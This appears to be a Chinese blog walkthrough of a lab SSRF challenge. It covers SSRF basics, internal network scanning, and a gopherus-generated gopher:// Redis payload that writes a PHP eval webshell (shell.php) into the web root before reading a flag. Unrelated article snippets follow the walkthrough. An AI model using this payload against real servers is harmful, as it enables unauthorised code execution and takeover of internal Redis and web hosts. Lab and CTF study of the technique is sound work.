ssrf实现.SSH未创建写shell

devtools/2024/9/23 13:13:17/

一、ssrf介绍

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

二、原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web
应用作为代理攻击远程和本地的服务器。

三、漏洞演示

资源下载后使用docker 安装

安装之后会有两台docker容器,如图

这里映射的8091端口,我们访问该端口就会看到源代码

四、具体操作:

分析该代码:

这里过滤了file和dict,不能够使用,但是有个info可以用,返回phpinfo()

这里其中显示的有apache2的信息,我们访问该地址看一下

把源码又输出一遍最后加个一,好像再没有什么信息了,没有我们想要的,但是这里也算给了一个提示,这里他既然有apache服务器,那极大可能有其他的服务器也在跑,我们可以尝试扫描一下,其实我们在拉好的docker容器时上帝视角也可以看出来。。。这里还是以扫描为主。

 

可以看到我们扫描出来了地址1,2和我们之前看到的3号地址,1号是我们搭建docker容器时自己的地址,那还有个2号,我们再看一下

返回了一个Go away1,这作者真有意思,那我的看看

顺便扫描一下他的端口

有发现6379端口扫出来,那我们研究研究

redis的漏洞我准备使用gopherus尝试一下

生成shell,我们看一下这是什么

gopher://127.0.0.1:6379/_*1
$8
flushall  #这个命令清空了 Redis 数据库中的所有数据,清除了所有的键值对
*3
$3
set   #命令用于向 Redis 写入一个键值对,这里的键是 1,值是 PHP 代码片段
$1
1
$31<?php eval($_POST['1']); ?>*4
$6
config  #config set dir /var/www/html/upload:将 Redis 的保存目录设置为 /var/www/html/upload,这是一个 Web 服务器可以访问的目录。
$3
set
$3
dir
$20
/var/www/html/upload 
*4
$6
config   #将 Redis 的数据库文件名设置为 shell.php。这意味着当 Redis 保存数据时,它会在 dir 指 定的目录下生成一个名为 shell.php 的文件
$3
set    
$10
dbfilename
$9
shell.php
*1
$4
save #命令强制 Redis 将内存中的数据保存到磁盘。由于 Redis 现在的保存目录是 /var/www/html/upload,文件名是 shell.php,所以会在 /var/www/html/upload 目录下生成一个包 含恶意 PHP 代码的 shell.php 文件。

执行该木马,这里要将这些符号重新编码,也就是再点一下编码

url后边跟我们的一句话,这样子再upload目录下会生成我们的木马程序,接着我们访问该木马程序

执行我们命令:<?php system(cat flag) ?>

成功拿下!!! 


http://www.ppmy.cn/devtools/100138.html

相关文章

Notion使用详解一基础教程

Notion使用详解一基础教程 Notion&#xff0c;这款被誉为“来自未来的笔记协作工具”&#xff0c;自问世以来就凭借其强大的功能和独特的设计理念吸引了众多用户。它不仅集成了笔记、知识库、任务管理等多种功能于一体&#xff0c;还通过模块化设计、无限层级页面以及动态编辑…

WHAT - 远程控制机制

目录 1. 客户端-服务器架构2. 连接建立3. 数据传输4. 通信协议5. 安全性6. 远程控制软件示例7. 操作流程示例 远程控制别人的电脑涉及到技术和安全多个方面。其基本机制通常包括以下几个方面&#xff1a; 1. 客户端-服务器架构 远程控制软件通常采用客户端-服务器架构&#x…

qt-PLC可视化编辑器

qt-PLC可视化编辑器 一、演示效果二、核心代码三、下载链接 一、演示效果 二、核心代码 #include "diagramitem.h" #include "arrow.h"#include <QDebug> #include <QGraphicsScene> #include <QGraphicsSceneContextMenuEvent> #includ…

opencv应用形态学(全网最详细)

引言 在图像处理领域&#xff0c;形态学操作是一种强大的工具&#xff0c;它基于图像的形状和结构来进行处理。形态学开运算是其中一种基础且常用的形态学操作&#xff0c;它主要通过先腐蚀后膨胀的方式&#xff0c;实现去除小物体、平滑较大物体轮廓的效果&#xff0c;同时尽…

【C语言】常见文件操作

文件的常见操作 #include<stdio.h>// 由于devc代码编码为ANCI&#xff0c;故读取的文件中若有中文&#xff0c;请设置文件编码为ANCI&#xff0c;否则会乱码 // 读文件 void test1() {char ch;FILE *fp; // 创建文件指针fp fopen("./file.txt", "r"…

服务发现与负载均衡基础概念

服务发现和负载均衡是分布式系统中的两个关键技术&#xff0c;它们为系统的高可用性、可扩展性和灵活性提供了基础。下面我将详细讲解这两个概念及其在现代系统中的重要性、实现方式和常见的工具。 一、服务发现&#xff08;Service Discovery&#xff09; 1.1 . 什么是服务发…

OpenCV基本使用教程

OpenCV&#xff08;Open Source Computer Vision Library&#xff09;是一个开源的计算机视觉库&#xff0c;用于处理图像和视频的分析和处理。下面是OpenCV的基本使用教程&#xff1a; 安装OpenCV&#xff1a;首先需要下载和安装OpenCV库。可以在OpenCV的官方网站上找到适合你…

代码随想录Day 23|回溯Part02,39.组合总和、40.组合总和Ⅱ、131.分割回文串

提示&#xff1a;DDU&#xff0c;供自己复习使用。欢迎大家前来讨论~ 文章目录 第七章 回溯算法part03一、题目题目一&#xff1a; 39. 组合总和解题思路&#xff1a;回溯三部曲剪枝优化小结&#xff1a; 题目二&#xff1a;40.组合总和Ⅱ解题思路&#xff1a;回溯三部曲 题目…